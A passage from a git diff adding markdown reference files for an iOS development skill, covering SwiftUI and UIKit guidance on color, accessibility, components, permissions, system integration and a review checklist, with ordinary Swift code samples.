Light mode +2. Dark mode +3. Light mode + High Contrast +4. Dark mode + High Contrast + +```swift +Text("Branded element") + .foregroundStyle(Color("AccentBrand")) +``` + +For dynamic colors in code: + +```swift +let dynamicColor = UIColor { traits in + traits.userInterfaceStyle == .dark + ? UIColor(red: 0.9, green: 0.9, blue: 1.0, alpha: 1.0) + : UIColor(red: 0.1, green: 0.1, blue: 0.2, alpha: 1.0) +} +``` + +### 4.3 Never Rely on Color Alone + +Always pair color with text, icons, or shapes to convey meaning. Approximately 8% of men have some form of color vision deficiency. + +```swift +HStack(spacing: 6) { + Image(systemName: "exclamationmark.triangle.fill") + Text("Connection failed") +} +.foregroundStyle(.red) +``` + +### 4.4 4.5:1 Contrast Ratio Minimum + +All text must meet WCAG AA contrast ratios: 4.5:1 for normal text, 3:1 for large text (18pt+ or 14pt+ bold). + +### 4.5 Support Display P3 Wide Gamut + +Use Display P3 color space for vibrant, accurate colors on modern iPhones. Define colors in the asset catalog with the Display P3 gamut. + +### 4.6 Background Hierarchy + +Layer backgrounds to create visual depth: + +```swift +// Level 1: Main view background +Color(.systemBackground) + +// Level 2: Cards, grouped sections +Color(.secondarySystemBackground) + +// Level 3: Nested elements within cards +Color(.tertiarySystemBackground) +``` + +### 4.7 One Accent Color for Interactive Elements + +Choose a single tint/accent color for all interactive elements (buttons, links, toggles). This creates a consistent, learnable visual language. + +```swift +@main +struct MyApp: App { + var body: some Scene { + WindowGroup { + ContentView() + .tint(.orange) + } + } +} +``` + +--- + +## 5. Accessibility + +**Impact:** CRITICAL + +### 5.1 VoiceOver Labels on All Interactive Elements + +Every button, control, and interactive element must have a meaningful accessibility label. + +```swift +Button(action: toggleFavorite) { + Image(systemName: isFavorite ? "heart.fill" : "heart") +} +.accessibilityLabel(isFavorite ? "Remove from favorites" : "Add to favorites") +``` + +### 5.2 Logical VoiceOver Navigation Order + +Ensure VoiceOver reads elements in a logical order. Use `.accessibilitySortPriority()` to adjust when the visual layout doesn't match the reading order. + +```swift +HStack { + Text("$49.99") + .accessibilitySortPriority(2) + Text("Premium Plan") + .accessibilitySortPriority(1) +} +``` + +### 5.3 Support Bold Text + +When the user enables Bold Text in Settings, SwiftUI text styles handle this automatically. Custom text must respond to `UIAccessibility.isBoldTextEnabled`. + +### 5.4 Support Reduce Motion + +Disable decorative animations and parallax when Reduce Motion is enabled. + +```swift +@Environment(\.accessibilityReduceMotion) private var reduceMotion + +var body: some View { + CardView() + .animation(reduceMotion ? nil : .spring(duration: 0.4), value: expanded) +} +``` + +### 5.5 Support Increase Contrast + +When the user enables Increase Contrast, ensure custom colors have higher-contrast variants. Use `@Environment(\.colorSchemeContrast)` to detect. + +### 5.6 Don't Convey Info Only by Color, Shape, or Position + +Information must be available through multiple channels. Pair visual indicators with text or accessibility descriptions. + +### 5.7 Alternative Interactions for All Gestures + +Every custom gesture must have an equivalent tap-based or menu-based alternative for users who cannot perform complex gestures. + +### 5.8 Support Switch Control and Full Keyboard Access + +Ensure all interactions work with Switch Control (external switches) and Full Keyboard Access (Bluetooth keyboards). Test navigation order and focus behavior. + +--- + +## 6. Gestures & Input + +**Impact:** HIGH + +### 6.1 Use Standard Gestures + +Stick to gestures users already know: + +- **Tap** — Select items, trigger buttons +- **Long press** — Show context menus, enter edit mode +- **Horizontal swipe** — List row actions (delete/archive), back navigation +- **Vertical swipe** — Scroll content, dismiss sheets +- **Pinch** — Scale images/maps +- **Rotate** — Adjust angle (photos, maps) + +### 6.2 Never Override System Gestures + +iOS reserves these edge gestures—do not intercept: + +- Left edge swipe → back navigation +- Top-left pull → Notification Center +- Top-right pull → Control Center +- Bottom edge swipe → home/app switcher + +### 6.3 Custom Gestures Must Be Discoverable + +If you add a custom gesture, provide visual hints (e.g., a grabber handle) and ensure the action is also available through a visible button or menu item. + +### 6.4 Support All Input Methods + +Design for touch first, but also support hardware keyboards, assistive devices (Switch Control, head tracking), and pointer input. + +--- + +## 7. Components + +**Impact:** HIGH + +### 7.1 Button Styles + +Use the built-in button styles appropriately: + +```swift +VStack(spacing: 16) { + Button("Checkout") { checkout() } + .buttonStyle(.borderedProminent) + + Button("Add to Wishlist") { addToWishlist() } + .buttonStyle(.bordered) + + Button("Remove Item", role: .destructive) { removeItem() } +} +``` + +### 7.2 Alerts — Critical Info Only + +Use alerts sparingly for critical information that requires a decision. Prefer 2 buttons; maximum 3. + +```swift +.alert("Discard Draft?", isPresented: $showDiscardAlert) { + Button("Discard", role: .destructive) { discardDraft() } + Button("Keep Editing", role: .cancel) { } +} message: { + Text("Your unsaved changes will be lost.") +} +``` + +### 7.3 Sheets for Scoped Tasks + +Present sheets for self-contained tasks. Always provide a way to dismiss (close button or swipe down). + +```swift +.sheet(isPresented: $showEditor) { + NavigationStack { + EditorView() + .navigationTitle("Edit Profile") + .toolbar { + ToolbarItem(placement: .cancellationAction) { + Button("Cancel") { showEditor = false } + } + ToolbarItem(placement: .confirmationAction) { + Button("Save") { saveProfile() } + } + } + } + .presentationDetents([.medium, .large]) + .presentationDragIndicator(.visible) +} +``` + +### 7.4 Lists — The Foundation of iOS Apps + +Most iOS apps are lists ("90% of mobile design is list design"). + +**List Styles:** +- `.insetGrouped` — Modern default (rounded corners, margins) +- `.grouped` — Traditional grouped sections +- `.plain` — Edge-to-edge rows +- `.sidebar` — Three-column iPad layout + +**Swipe Actions:** +- Leading swipe → Positive actions (mark read, archive) +- Trailing swipe → Destructive actions (delete at far right) +- Maximum 3-4 actions per side + +**Row Accessories:** +- Chevron → Indicates navigation +- Checkmark → Shows selection +- Detail button → Additional info without navigation + +```swift +List { + Section("Notifications") { + ForEach(notifications) { notification in + NotificationRow(notification: notification) + .swipeActions(edge: .trailing, allowsFullSwipe: true) { + Button(role: .destructive) { + delete(notification) + } label: { + Label("Delete", systemImage: "trash") + } + + Button { + markRead(notification) + } label: { + Label("Read", systemImage: "envelope.open") + } + .tint(.blue) + } + .swipeActions(edge: .leading) { + Button { + pin(notification) + } label: { + Label("Pin", systemImage: "pin") + } + .tint(.orange) + } + } + } +} +.listStyle(.insetGrouped) +``` + +### 7.5 Tab Bar Behavior + +- Use SF Symbols for tab icons — filled variant for the selected tab, outline for unselected +- Never hide the tab bar when navigating deeper within a tab +- Badge important counts with `.badge()` + +```swift +NotificationsView() + .tabItem { + Label("Notifications", systemImage: "bell") + } + .badge(unreadCount) +``` + +### 7.6 Search + +Place search using `.searchable()`. Provide search suggestions and support recent searches. + +```swift +NavigationStack { + List(searchResults) { item in + ItemRow(item: item) + } + .searchable(text: $query, prompt: "Search products") + .searchSuggestions { + ForEach(recentSearches, id: \.self) { term in + Text(term) + .searchCompletion(term) + } + } +} +``` + +### 7.7 Context Menus + +Use context menus (long press) for secondary actions. Never use a context menu as the only way to access an action. + +```swift +ImageThumbnail(image: image) + .contextMenu { + Button { shareImage(image) } label: { + Label("Share", systemImage: "square.and.arrow.up") + } + Button { copyImage(image) } label: { + Label("Copy", systemImage: "doc.on.doc") + } + Divider() + Button(role: .destructive) { deleteImage(image) } label: { + Label("Delete", systemImage: "trash") + } + } +``` + +### 7.8 Forms and Input + +**Text Fields:** +- 44pt minimum height +- Match keyboard type to input (`.emailAddress`, `.numberPad`, `.URL`) +- Clear button when text entered +- Placeholder uses `.quaternary` label color + +```swift +Form { + Section("Account") { + TextField("Email", text: $email) + .textContentType(.emailAddress) + .keyboardType(.emailAddress) + .autocapitalization(.none) + + SecureField("Password", text: $password) + .textContentType(.password) + } + + Section { + Button("Sign In") { signIn() } + .disabled(email.isEmpty || password.isEmpty) + } +} +``` + +**Pickers:** +- Inline → 3-7 options +- Menu → 2-5 options (iOS 14+) +- Wheel → Date/time or long lists + +### 7.9 Progress Indicators + +- Determinate `ProgressView(value:total:)` for operations with known duration +- Indeterminate `ProgressView()` for unknown duration +- Never block the entire screen with a spinner + +```swift +VStack { + ProgressView(value: uploadProgress, total: 1.0) + .progressViewStyle(.linear) + + Text("\(Int(uploadProgress * 100))% uploaded") + .font(.caption) + .foregroundStyle(.secondary) +} +``` + +--- + +## 8. Patterns + +**Impact:** MEDIUM + +### 8.1 Onboarding — Max 3 Pages, Skippable + +Keep onboarding to 3 or fewer pages. Always provide a skip option. Defer sign-in until the user needs authenticated features. + +```swift +TabView(selection: $currentPage) { + OnboardingPage(icon: "sparkles", title: "Smart Features", description: "...") + .tag(0) + OnboardingPage(icon: "bell.badge", title: "Stay Notified", description: "...") + .tag(1) + OnboardingPage(icon: "lock.shield", title: "Private & Secure", description: "...") + .tag(2) +} +.tabViewStyle(.page) +.overlay(alignment: .topTrailing) { + Button("Skip") { finishOnboarding() } + .padding() +} +``` + +### 8.2 Loading — Skeleton Views, No Blocking Spinners + +Use skeleton/placeholder views that match the layout of the content being loaded. Never show a full-screen blocking spinner. + +```swift +if isLoading { + ForEach(0..<5, id: \.self) { _ in + ArticleRowPlaceholder() + .redacted(reason: .placeholder) + } +} else { + ForEach(articles) { article in + ArticleRow(article: article) + } +} +``` + +### 8.3 Launch Screen — Match First Screen + +The launch storyboard must visually match the initial screen of the app. No splash logos, no branding screens. This creates the perception of instant launch. + +### 8.4 Modality — Use Sparingly + +Present modal views only when the user must complete or abandon a focused task. Always provide a clear dismiss action. Never stack modals on top of modals. + +### 8.5 Notifications — High Value Only + +Only send notifications for content the user genuinely cares about. Support actionable notifications. Categorize notifications so users can control them granularly. + +### 8.6 Settings Placement + +- Frequent settings: In-app settings screen accessible from a profile or gear icon +- Privacy/permission settings: Defer to the system Settings app via URL scheme +- Never duplicate system-level controls in-app + +### 8.7 Action Sheets + +For destructive or multiple-choice actions: + +```swift +.confirmationDialog("Delete Photo?", isPresented: $showDelete, titleVisibility: .visible) { + Button("Delete", role: .destructive) { deletePhoto() } + Button("Cancel", role: .cancel) { } +} message: { + Text("This action cannot be undone.") +} +``` + +- Destructive action at top (red) +- Cancel at bottom +- Dismiss by tapping outside + +### 8.8 Pull-to-Refresh + +Standard pattern for content updates: + +```swift +List(items) { item in + ItemRow(item: item) +} +.refreshable { + await loadNewItems() +} +``` + +### 8.9 Haptic Feedback + +Provide tactile response for significant actions: + +| Generator | Usage | +|-----------|-------| +| `UIImpactFeedbackGenerator` | Physical impacts (.light, .medium, .heavy) | +| `UINotificationFeedbackGenerator` | Success, warning, error | +| `UISelectionFeedbackGenerator` | Selection changes | + +```swift +Button("Complete") { + let feedback = UINotificationFeedbackGenerator() + feedback.notificationOccurred(.success) + markComplete() +} +``` + +--- + +## 9. Privacy & Permissions + +**Impact:** HIGH + +### 9.1 Request Permissions in Context + +Request a permission at the moment the user takes an action that needs it—never at app launch. + +```swift +Button("Take Photo") { + AVCaptureDevice.requestAccess(for: .video) { granted in + if granted { + showCamera = true + } + } +} +``` + +### 9.2 Explain Before System Prompt + +Show a custom explanation screen before triggering the system permission dialog. The system dialog only appears once—if the user denies, the app must direct them to Settings. + +```swift +struct LocationPermissionView: View { + var body: some View { + VStack(spacing: 20) { + Image(systemName: "location.fill") + .font(.system(size: 48)) + .foregroundStyle(.blue) + + Text("Find Nearby Places") + .font(.title2.bold()) + + Text("We use your location to show relevant results. Your location is never stored or shared.") + .multilineTextAlignment(.center) + .foregroundStyle(.secondary) + + Button("Enable Location") { + locationManager.requestWhenInUseAuthorization() + } + .buttonStyle(.borderedProminent) + + Button("Not Now") { dismiss() } + .foregroundStyle(.secondary) + } + .padding() + } +} +``` + +### 9.3 Support Sign in with Apple + +If the app offers any third-party sign-in (Google, Facebook), it must also offer Sign in with Apple. Present it as the first option. + +### 9.4 Don't Require Accounts Unless Necessary + +Let users explore the app before requiring sign-in. Gate only features that genuinely need authentication (purchases, sync, social features). + +### 9.5 App Tracking Transparency + +If you track users across apps or websites, display the ATT prompt. Respect denial—do not degrade the experience for users who opt out. + +### 9.6 Location Button for One-Time Access + +Use `LocationButton` for actions that need location once without requesting ongoing permission. + +```swift +LocationButton(.currentLocation) { + fetchNearbyResults() +} +.symbolVariant(.fill) +.labelStyle(.titleAndIcon) +``` + +--- + +## 10. System Integration + +**Impact:** MEDIUM + +### 10.1 Widgets for Glanceable Data + +Provide widgets using WidgetKit for information users check frequently. Widgets are not interactive (beyond tapping to open the app), so show the most useful snapshot. + +### 10.2 App Shortcuts for Key Actions + +Define App Shortcuts so users can trigger key actions from Siri, Spotlight, and the Shortcuts app. + +```swift +struct MyAppShortcuts: AppShortcutsProvider { + static var appShortcuts: [AppShortcut] { + AppShortcut( + intent: QuickAddIntent(), + phrases: ["Add item in \(.applicationName)"], + shortTitle: "Quick Add", + systemImageName: "plus.circle" + ) + } +} +``` + +### 10.3 Spotlight Indexing + +Index app content with `CSSearchableItem` so users can find it from Spotlight search. + +### 10.4 Share Sheet Integration + +Support the system share sheet for content that users might want to send elsewhere. + +```swift +ShareLink(item: article.url, subject: Text(article.title)) { + Label("Share Article", systemImage: "square.and.arrow.up") +} +``` + +### 10.5 Live Activities + +Use Live Activities and the Dynamic Island for real-time, time-bound events (delivery tracking, sports scores, workouts). + +### 10.6 Handle Interruptions Gracefully + +Save state and pause gracefully when interrupted by phone calls, Siri invocations, notifications, app switcher, or FaceTime SharePlay. + +```swift +@Environment(\.scenePhase) private var scenePhase + +var body: some View { + ContentView() + .onChange(of: scenePhase) { _, newPhase in + switch newPhase { + case .active: + resumeActivity() + case .inactive: + pauseActivity() + case .background: + saveState() + @unknown default: + break + } + } +} +``` + +--- + +## Quick Reference + +### Navigation & Structure + +| Component | When to Use | +|-----------|-------------| +| `TabView` | 3-5 main app sections | +| `NavigationStack` | Hierarchical content drill-down | +| `.sheet` | Focused tasks requiring user completion | +| `.alert` | Decisions that block workflow | +| `.contextMenu` | Additional actions (always provide alternatives) | + +### Data Display + +| Component | When to Use | +|-----------|-------------| +| `List` | Scrollable rows with sections | +| `LazyVGrid` / `LazyHGrid` | Grid layouts | +| `.searchable` | Filterable content | +| `ProgressView` | Loading or task progress | + +### User Input + +| Component | When to Use | +|-----------|-------------| +| `TextField` | Single-line text | +| `TextEditor` | Multi-line text | +| `Picker` | Selection from options | +| `Toggle` | Binary on/off choice | +| `Stepper` | Numeric increment/decrement | + +### System Features + +| Component | When to Use | +|-----------|-------------| +| `ShareLink` | Content sharing | +| `LocationButton` | One-time location access | +| `PhotosPicker` | Image selection | +| `UIImpactFeedbackGenerator` | Tactile response | + +--- + +## Anti-Patterns + +Avoid these common HIG violations: + +| Pattern | Problem | Solution | +|---------|---------|----------| +| Hamburger/drawer menu | Hides navigation, users miss features | Use TabView with 3-5 tabs | +| Broken back swipe | Custom gestures block system navigation | Keep NavigationStack default behavior | +| Full-screen spinner | App feels frozen, no progress indication | Use skeleton views with `.redacted()` | +| Logo splash screen | Artificial delay, wastes user time | Match launch screen to first view | +| Permissions at launch | Users deny without context | Request when action requires it | +| Fixed font sizes | Breaks Dynamic Type, accessibility issues | Use `.font(.body)` semantic styles | +| Color-only status | Colorblind users miss information | Add icons or text labels | +| Alert overuse | Interrupts flow for minor info | Use inline messages or banners | +| Hidden tab bar | Users lose navigation context | Keep tab bar visible on push | +| Content in unsafe areas | Text hidden under notch/Dynamic Island | Only ignore safe area for backgrounds | +| No modal dismiss | Users trapped in view | Add cancel button and swipe dismiss | +| Gesture-only actions | Accessibility users blocked | Provide button/menu alternatives | +| Small tap targets | Frequent mis-taps | Minimum 44x44pt hit area | +| Nested modals | Navigation confusion | Use NavigationStack within single sheet | +| Hardcoded colors | Broken in Dark Mode | Use semantic colors or asset variants | + +--- + +## Review Checklist + +Code review checklist for SwiftUI apps: + +### Layout +- [ ] Interactive elements have 44pt minimum touch area +- [ ] Essential content stays within safe area bounds +- [ ] Main actions positioned for one-handed use (bottom) +- [ ] UI works across iPhone SE to Pro Max screen sizes +- [ ] Spacing uses 8pt increments + +### Navigation +- [ ] Main sections use bottom TabView (3-5 tabs) +- [ ] No drawer/hamburger navigation +- [ ] Root views show large navigation titles +- [ ] System back gesture not blocked +- [ ] Tab state persists when switching + +### Text & Fonts +- [ ] Text uses semantic styles (`.body`, `.headline`, etc.) +- [ ] Dynamic Type works at all sizes including accessibility +- [ ] Content reflows without truncation at large sizes +- [ ] No text below 11pt + +### Colors +- [ ] Uses `.primary`, `.secondary`, `Color(.systemBackground)` +- [ ] Custom colors have light/dark variants in assets +- [ ] Status indicators combine color with icon/text +- [ ] Text contrast ratio meets WCAG AA + +### Accessibility +- [ ] Icon buttons have `.accessibilityLabel()` +- [ ] VoiceOver order matches logical flow +- [ ] Animations respect `accessibilityReduceMotion` +- [ ] All actions have non-gesture alternatives + +### Modals & Alerts +- [ ] Alerts reserved for critical decisions only +- [ ] Sheets provide clear dismiss mechanism +- [ ] No stacked modal presentations + +### Permissions +- [ ] Permissions requested at point of use +- [ ] Pre-permission explanation screens used +- [ ] Core features work without sign-in + +--- + +## iPad Adaptation + +iPad users expect different interaction patterns: + +**Layout:** Use `NavigationSplitView` for master-detail: + +```swift +NavigationSplitView(columnVisibility: $columnVisibility) { + SidebarView() +} content: { + ListContentView() +} detail: { + DetailView() +} +.navigationSplitViewStyle(.balanced) +``` + +**Presentation:** Action sheets become popovers automatically, but you can force popover: + +```swift +.popover(isPresented: $showOptions) { + OptionsView() +} +``` + +**Keyboard:** Add shortcuts for power users: + +```swift +.keyboardShortcut("n", modifiers: .command) // Cmd+N +``` + +**Drag & Drop:** Enable cross-app data transfer: + +```swift +.draggable(item) +.dropDestination(for: Item.self) { items, location in + handleDrop(items) + return true +} +``` + +--- + +## Pre-Release Verification + +Run through these scenarios before shipping: + +**Visual consistency:** +- Switch between Light/Dark mode—does everything remain readable? +- Crank Dynamic Type to maximum—does layout adapt or break? +- Enable Bold Text—do custom fonts respond? + +**Interaction quality:** +- Can you complete every action using only VoiceOver? +- Do all buttons feel tappable on first try (no mis-taps)? +- Does back-swipe work everywhere in navigation? + +**Edge cases:** +- What happens on iPhone SE's small screen? +- What happens on iPad with keyboard attached? +- What shows when network fails mid-operation? +- What happens if user denies permissions? + +**Platform compliance:** +- Are you using SF Symbols instead of custom icon PNGs? +- Are all colors from semantic palette or asset catalog with variants? +- Do destructive actions require explicit confirmation? + +--- + +*SwiftUI, SF Symbols, Dynamic Island, and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/system-integration.md b/skills/ios-application-dev/references/system-integration.md new file mode 100644 index 0000000..754622e --- /dev/null +++ b/skills/ios-application-dev/references/system-integration.md @@ -0,0 +1,401 @@ +# System Integration + +iOS system integration guide covering permissions, location, sharing, app lifecycle, and haptic feedback. + +## Permission Requests + +Request permissions contextually, not at launch: + +```swift +import AVFoundation + +@objc func openCamera() { + AVCaptureDevice.requestAccess(for: .video) { [weak self] granted in + DispatchQueue.main.async { + if granted { + self?.showCameraInterface() + } else { + self?.showPermissionDeniedAlert() + } + } + } +} +``` + +### Photo Library + +```swift +import Photos + +func requestPhotoAccess() { + PHPhotoLibrary.requestAuthorization(for: .readWrite) { status in + DispatchQueue.main.async { + switch status { + case .authorized, .limited: + self.showPhotoPicker() + case .denied, .restricted: + self.showSettingsAlert() + default: + break + } + } + } +} +``` + +### Microphone + +```swift +func requestMicrophoneAccess() { + AVAudioSession.sharedInstance().requestRecordPermission { granted in + DispatchQueue.main.async { + if granted { + self.startRecording() + } + } + } +} +``` + +### Notifications + +```swift +import UserNotifications + +func requestNotificationPermission() { + UNUserNotificationCenter.current().requestAuthorization( + options: [.alert, .badge, .sound] + ) { granted, error in + DispatchQueue.main.async { + if granted { + self.registerForRemoteNotifications() + } + } + } +} +``` + +## Location Button + +For one-time location access without persistent permission: + +```swift +import CoreLocationUI + +class StoreFinderVC: UIViewController { + override func viewDidLoad() { + super.viewDidLoad() + + let locationBtn = CLLocationButton() + locationBtn.icon = .arrowFilled + locationBtn.label = .currentLocation + locationBtn.cornerRadius = 20 + locationBtn.addTarget(self, action: #selector(findNearby), for: .touchUpInside) + + view.addSubview(locationBtn) + locationBtn.snp.makeConstraints { make in + make.centerX.equalToSuperview() + make.bottom.equalTo(view.safeAreaLayoutGuide).offset(-24) + } + } +} +``` + +### Core Location + +```swift +import CoreLocation + +class LocationManager: NSObject, CLLocationManagerDelegate { + private let manager = CLLocationManager() + + func requestLocation() { + manager.delegate = self + manager.desiredAccuracy = kCLLocationAccuracyBest + manager.requestWhenInUseAuthorization() + } + + func locationManagerDidChangeAuthorization(_ manager: CLLocationManager) { + switch manager.authorizationStatus { + case .authorizedWhenInUse, .authorizedAlways: + manager.requestLocation() + case .denied: + showLocationDeniedAlert() + default: + break + } + } + + func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) { + guard let location = locations.last else { return } + handleLocation(location) + } +} +``` + +## Share Sheet + +```swift +@objc func shareContent() { + let items: [Any] = [contentURL, contentImage].compactMap { $0 } + let activityVC = UIActivityViewController(activityItems: items, applicationActivities: nil) + + if let popover = activityVC.popoverPresentationController { + popover.sourceView = shareButton + popover.sourceRect = shareButton.bounds + } + + present(activityVC, animated: true) +} +``` + +### Custom Share Items + +```swift +class ShareItem: NSObject, UIActivityItemSource { + let title: String + let url: URL + + init(title: String, url: URL) { + self.title = title + self.url = url + } + + func activityViewControllerPlaceholderItem(_ activityViewController: UIActivityViewController) -> Any { + return url + } + + func activityViewController(_ activityViewController: UIActivityViewController, itemForActivityType activityType: UIActivity.ActivityType?) -> Any? { + return url + } + + func activityViewController(_ activityViewController: UIActivityViewController, subjectForActivityType activityType: UIActivity.ActivityType?) -> String { + return title + } +} +``` + +### Excluding Activities + +```swift +let activityVC = UIActivityViewController(activityItems: items, applicationActivities: nil) +activityVC.excludedActivityTypes = [ + .addToReadingList, + .assignToContact, + .print +] +``` + +## App Lifecycle + +```swift +class PlayerViewController: UIViewController { + override func viewDidLoad() { + super.viewDidLoad() + + NotificationCenter.default.addObserver( + self, selector: #selector(onBackground), + name: UIApplication.didEnterBackgroundNotification, object: nil + ) + NotificationCenter.default.addObserver( + self, selector: #selector(onForeground), + name: UIApplication.willEnterForegroundNotification, object: nil + ) + NotificationCenter.default.addObserver( + self, selector: #selector(onTerminate), + name: UIApplication.willTerminateNotification, object: nil + ) + } + + @objc private func onBackground() { + saveState() + pausePlayback() + } + + @objc private func onForeground() { + restoreState() + resumePlayback() + } + + @objc private func onTerminate() { + saveState() + } +} +``` + +### Scene Lifecycle (iOS 13+) + +```swift +class SceneDelegate: UIResponder, UIWindowSceneDelegate { + func sceneDidBecomeActive(_ scene: UIScene) { + // Resume tasks + } + + func sceneWillResignActive(_ scene: UIScene) { + // Pause tasks + } + + func sceneDidEnterBackground(_ scene: UIScene) { + // Save state + } + + func sceneWillEnterForeground(_ scene: UIScene) { + // Prepare UI + } +} +``` + +### State Preservation + +```swift +class ViewController: UIViewController { + override func encodeRestorableState(with coder: NSCoder) { + super.encodeRestorableState(with: coder) + coder.encode(currentItemID, forKey: "currentItemID") + } + + override func decodeRestorableState(with coder: NSCoder) { + super.decodeRestorableState(with: coder) + if let itemID = coder.decodeObject(forKey: "currentItemID") as? String { + loadItem(itemID) + } + } +} +``` + +## Haptic Feedback + +```swift +func onTaskComplete() { + UINotificationFeedbackGenerator().notificationOccurred(.success) +} + +func onError() { + UINotificationFeedbackGenerator().notificationOccurred(.error) +} + +func onWarning() { + UINotificationFeedbackGenerator().notificationOccurred(.warning) +} + +func onSelection() { + UISelectionFeedbackGenerator().selectionChanged() +} + +func onImpact() { + UIImpactFeedbackGenerator(style: .medium).impactOccurred() +} +``` + +### Impact Styles + +| Style | Usage | +|-------|-------| +| `.light` | Subtle feedback, small UI changes | +| `.medium` | Standard feedback, button presses | +| `.heavy` | Strong feedback, significant actions | +| `.soft` | Gentle feedback, background changes | +| `.rigid` | Sharp feedback, collisions | + +### Prepared Feedback + +For time-critical haptics, prepare the generator in advance: + +```swift +class DraggableView: UIView { + private let impactGenerator = UIImpactFeedbackGenerator(style: .medium) + + override func touchesBegan(_ touches: Set, with event: UIEvent?) { + super.touchesBegan(touches, with: event) + impactGenerator.prepare() + } + + func didSnapToPosition() { + impactGenerator.impactOccurred() + } +} +``` + +## Deep Linking + +### URL Schemes + +```swift +// In AppDelegate or SceneDelegate +func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey: Any] = [:]) -> Bool { + guard let components = URLComponents(url: url, resolvingAgainstBaseURL: true) else { + return false + } + + switch components.host { + case "item": + if let itemID = components.queryItems?.first(where: { $0.name == "id" })?.value { + navigateToItem(itemID) + return true + } + default: + break + } + + return false +} +``` + +### Universal Links + +```swift +func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool { + guard userActivity.activityType == NSUserActivityTypeBrowsingWeb, + let url = userActivity.webpageURL else { + return false + } + + return handleUniversalLink(url) +} +``` + +## Background Tasks + +```swift +import BackgroundTasks + +func registerBackgroundTasks() { + BGTaskScheduler.shared.register( + forTaskWithIdentifier: "com.app.refresh", + using: nil + ) { task in + self.handleAppRefresh(task: task as! BGAppRefreshTask) + } +} + +func scheduleAppRefresh() { + let request = BGAppRefreshTaskRequest(identifier: "com.app.refresh") + request.earliestBeginDate = Date(timeIntervalSinceNow: 15 * 60) + + do { + try BGTaskScheduler.shared.submit(request) + } catch { + print("Could not schedule app refresh: \(error)") + } +} + +func handleAppRefresh(task: BGAppRefreshTask) { + scheduleAppRefresh() + + let operation = RefreshOperation() + + task.expirationHandler = { + operation.cancel() + } + + operation.completionBlock = { + task.setTaskCompleted(success: !operation.isCancelled) + } + + OperationQueue.main.addOperation(operation) +} +``` + +--- + +*UIKit, Core Location, and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/uikit-components.md b/skills/ios-application-dev/references/uikit-components.md new file mode 100644 index 0000000..cc826ba --- /dev/null +++ b/skills/ios-application-dev/references/uikit-components.md @@ -0,0 +1,297 @@ +# UIKit Components + +Common UIKit components guide covering UIStackView, buttons, alerts, search, and context menus. + +## UIStackView + +Stack views simplify auto layout for linear arrangements: + +```swift +class FormViewController: UIViewController { + private let mainStack = UIStackView() + + override func viewDidLoad() { + super.viewDidLoad() + + mainStack.axis = .vertical + mainStack.spacing = 16 + mainStack.alignment = .fill + mainStack.distribution = .fill + + view.addSubview(mainStack) + mainStack.snp.makeConstraints { make in + make.top.equalTo(view.safeAreaLayoutGuide).offset(20) + make.leading.trailing.equalToSuperview().inset(16) + } + + let headerStack = UIStackView() + headerStack.axis = .horizontal + headerStack.spacing = 12 + headerStack.alignment = .center + + let avatarView = UIImageView() + avatarView.snp.makeConstraints { make in + make.size.equalTo(48) + } + + let labelStack = UIStackView() + labelStack.axis = .vertical + labelStack.spacing = 4 + labelStack.addArrangedSubview(titleLabel) + labelStack.addArrangedSubview(subtitleLabel) + + headerStack.addArrangedSubview(avatarView) + headerStack.addArrangedSubview(labelStack) + + mainStack.addArrangedSubview(headerStack) + mainStack.addArrangedSubview(contentView) + mainStack.addArrangedSubview(actionButton) + + mainStack.setCustomSpacing(24, after: headerStack) + } +} +``` + +### StackView Properties + +| Property | Options | Usage | +|----------|---------|-------| +| `axis` | `.horizontal`, `.vertical` | Layout direction | +| `distribution` | `.fill`, `.fillEqually`, `.fillProportionally`, `.equalSpacing`, `.equalCentering` | Space distribution | +| `alignment` | `.fill`, `.leading`, `.center`, `.trailing` | Cross-axis alignment | +| `spacing` | CGFloat | Uniform spacing | +| `setCustomSpacing(_:after:)` | - | Variable spacing | + +## UIButton.Configuration (iOS 15+) + +```swift +let primaryButton = UIButton(type: .system) +primaryButton.configuration = .filled() +primaryButton.setTitle("Continue", for: .normal) + +let secondaryButton = UIButton(type: .system) +secondaryButton.configuration = .tinted() +secondaryButton.setTitle("Save for Later", for: .normal) + +let destructiveButton = UIButton(type: .system) +destructiveButton.configuration = .plain() +destructiveButton.setTitle("Remove", for: .normal) +destructiveButton.tintColor = .systemRed +``` + +### Custom Button Configuration + +```swift +var config = UIButton.Configuration.filled() +config.title = "Add to Cart" +config.image = UIImage(systemName: "cart.badge.plus") +config.imagePadding = 8 +config.cornerStyle = .capsule +config.baseBackgroundColor = .systemBlue +config.baseForegroundColor = .white +let cartButton = UIButton(configuration: config) +``` + +### Button State Handling + +```swift +var config = UIButton.Configuration.filled() +config.titleTextAttributesTransformer = UIConfigurationTextAttributesTransformer { incoming in + var outgoing = incoming + outgoing.font = .boldSystemFont(ofSize: 16) + return outgoing +} + +config.configurationUpdateHandler = { button in + var config = button.configuration + config?.showsActivityIndicator = button.isSelected + button.configuration = config +} +``` + +## UIAlertController + +### Alert + +```swift +func confirmDeletion() { + let alert = UIAlertController( + title: "Remove Item?", + message: "This cannot be undone.", + preferredStyle: .alert + ) + alert.addAction(UIAlertAction(title: "Remove", style: .destructive) { _ in + self.performDeletion() + }) + alert.addAction(UIAlertAction(title: "Cancel", style: .cancel)) + present(alert, animated: true) +} +``` + +### Action Sheet + +```swift +func showOptions() { + let sheet = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet) + sheet.addAction(UIAlertAction(title: "Share", style: .default) { _ in }) + sheet.addAction(UIAlertAction(title: "Edit", style: .default) { _ in }) + sheet.addAction(UIAlertAction(title: "Delete", style: .destructive) { _ in }) + sheet.addAction(UIAlertAction(title: "Cancel", style: .cancel)) + + if let popover = sheet.popoverPresentationController { + popover.sourceView = optionsButton + popover.sourceRect = optionsButton.bounds + } + + present(sheet, animated: true) +} +``` + +### Alert with Text Field + +```swift +func showInputAlert() { + let alert = UIAlertController( + title: "Rename", + message: "Enter a new name", + preferredStyle: .alert + ) + + alert.addTextField { textField in + textField.placeholder = "Name" + textField.autocapitalizationType = .words + } + + alert.addAction(UIAlertAction(title: "Save", style: .default) { _ in + if let name = alert.textFields?.first?.text { + self.rename(to: name) + } + }) + alert.addAction(UIAlertAction(title: "Cancel", style: 